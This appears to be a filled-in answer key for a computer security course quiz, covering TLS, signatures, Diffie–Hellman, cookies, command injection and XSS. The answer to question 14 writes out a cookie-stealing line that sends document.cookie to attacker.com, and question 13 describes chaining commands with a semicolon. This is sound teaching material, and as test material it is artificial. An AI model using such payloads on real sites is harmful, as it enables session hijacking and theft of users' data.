COMP3334 Computer Systems Security

Semester 2, 2023/2024, Section 3

April 11, 2024

Student ID: _____ Student Name: _____

Quiz 2A

README

This is a closed-book exam. Complete your ID and name above first. When instructed, open the booklet and answer the multiple choice questions by **circling** the right answer (there is only one possible correct answer per question). Continue by answering questions in the spaces provided. If you run out of room for an answer, it is most likely getting too long. As a reminder, plagiarism is a serious offence. If you are caught cheating, you will receive a zero for this quiz. If you finish the quiz and there is less than 10 minutes remaining, stay until the end.

Total: 16 points worth 8% of the course weight. Total pages: 4

Allowed time: 30 minutes

Multiple Choice Questions (single correct answer) [6 pts]

1. Select the sequence that accurately represents the chronological order of release for the versions of SSL/TLS, from the oldest to the most recent. (1 pt)
   A. SSL 2.0 → SSL 3.0 → TLS 1.0 → TLS 1.1 → TLS 1.2 → TLS 1.3
   B. TLS 1.0 → TLS 1.1 → TLS 1.2 → SSL 2.0 → SSL 3.0 → TLS 1.3
   C. SSL 2.0 → TLS 1.0 → TLS 1.1 → TLS 1.2 → TLS 1.3 → SSL 3.0
   D. TLS 1.0 → TLS 1.1 → TLS 1.2 → TLS 1.3 → SSL 2.0 → SSL 3.0

2. What does the `Verify` function take as input to verify Alice's digital signature on a message? Suppose m is the message signed (hashed or not), σ is the output of the `sign` function, P_A^+ is Alice's public key, P_A^- is her private key. (1 pt)
   A. Verify(m, σ)
   B. Verify(m, σ, P_A^+)
   C. Verify(m, σ, P_A^-)
   D. Verify(σ, P_A^+)

3. Which HTTP response header correctly prompts the client to request credentials from the user, to be sent as part of the HTTP Authorization header? (1 pt)
   A. `Authorization: Basic realm="COMP LOGIN"`
   B. `Authorization: Basic YWRtaW46YWRtaW4=`
   C. `WWW-Authenticate: Basic realm="COMP LOGIN"`
   D. `HTTP-Authorization: Basic realm="COMP LOGIN"`

4. Which of the following is NOT a digital signature algorithm? (1 pt)
   A. RSA
   B. ECDSA
   C. DSA
   D. ECDH

5. Which of the following cookie attributes helps defeat cross-site scripting (XSS) attacks? (1 pt)
   A. `secure`
   B. `HttpOnly`
   C. `Set-Cookie`
   D. None of the above

6. Which of the following security goals does TLS achieve? (1 pt)
   A. Confidentiality
   B. Message authenticity
   C. Server authentication
   D. All of the above

Short Answer Questions [10 pts]

7. What is a self-signed digital certificate? (1 pt)

Certificate issued by the entity it represents
or
A certificate which signature is computed using the certificate's corresponding private key.

8. Between client-side sessions and server-side sessions, which type may allow the user to access the content of the session state? (1 pt)

Client-side sessions

9. Suppose Alice's private key is a, Bob's private key is b, and p and g are the public parameters of the system (a large prime and a primitive root mod p, respectively). What does Alice send to Bob, and what does Bob send to Alice during a Diffie–Hellman key exchange?

Alice to Bob: $g^a \bmod p$

Bob to Alice: $g^b \bmod p$

10. Give a method by which an attacker might be able to hijack a user session. (1 pt)

See Lecture 7 part 1 - slide 18

11. Explain what does the `secure` cookie attribute do? (1 pt)

Prevents cookies from being sent by the client to the server if the connection is not secure (meaning using HTTPS/TLS)

(turn to next page)

12. In TLS 1.3, according to the simplified handshake we discussed in class, what is the content of the CertificateVerify message? Assume the server certificate public key is denoted P_S^+, and the corresponding private key is P_S^-, as we used in class. Ignore the encryption layer. Define new terms you introduce, if any. (1 pt)

$Sign_{P_S^-}(\hat{t})$

$\hat{t}$: transcript (all previous messages)

13. Explain how command injection could occur in a scenario where a program executes the `ping` command concatenated with a user input for the IP address, i.e., `"ping "+ip`. What is the cause of this problem? (2 pts)

The user input could contain multiple commands separated by a semi-colon ';' (or '&'), enabling the attacker to execute more commands than just the ping command.

Reason: Lack of input validation or sanitization or escaping (any of the 3)

14. Describe step-by-step how a XSS attack works to steal user cookies. (2 pts)

1. Attacker finds a way to inject Javascript into a page (e.g., forum message)
2. Victim visits the page with attacker's content
3. Attacker's code accesses document.cookie and sends the content away by, for instance, inserting a new image which URL includes the cookies as parameter.

Said otherwise: create new image with src="https://attacker.com/?cookies="+document.cookie